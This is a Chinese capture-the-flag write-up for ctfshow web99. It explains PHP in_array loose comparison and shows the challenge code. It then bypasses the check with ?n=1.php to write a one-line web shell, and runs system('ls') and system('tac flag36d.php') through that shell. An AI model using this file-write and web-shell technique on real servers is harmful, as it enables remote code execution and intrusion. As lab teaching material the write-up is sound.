> 技术文档 > [ctfshow web入门]web99 in_array的弱比较漏洞

[ctfshow web入门]web99 in_array的弱比较漏洞


信息收集

array_push(array, value):向数组最后的位置插入value
in_array(value, array, type):其中value是要查找的值,array是需要查找的的数组,type是查找的类型,如果没有指定类型,则以弱比较方式查找
in_array存在一个弱比较漏洞,也就是当type设置时,且value的类型与数组数据内容类型不同时,value会被转化为数组数据的类型。此时如果value是字符串,而array数据类型是int,那么字符串会被转化为int

highlight_file(__FILE__);// 生成一个数组$allow = array();// 遍历 36 到 0x36d;0x36d = 877// 向数组插入元素,随机数1到最多877for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));}// 查询是否存在$_GET[\'n\'],如果存在则以$_GET[\'n\']为文件名写入$_POST[\'content\']if(isset($_GET[\'n\']) && in_array($_GET[\'n\'], $allow)){ file_put_contents($_GET[\'n\'], $_POST[\'content\']);}

解题

由于in_array未设置type,我们构造?n=1.php,此时in_array比较时,1.php被强制类型转化为int,也就是1,1大概率存在于数组中,此时我们向1.php写入一句话木马即可

?n=1.phppost:content=

再访问我们的木马文件,获取目录和flag

1.php?cmd=system(\'ls\');1.php?cmd=system(\'tac flag36d.php\');

[ctfshow web入门]web99 in_array的弱比较漏洞


web    目录    web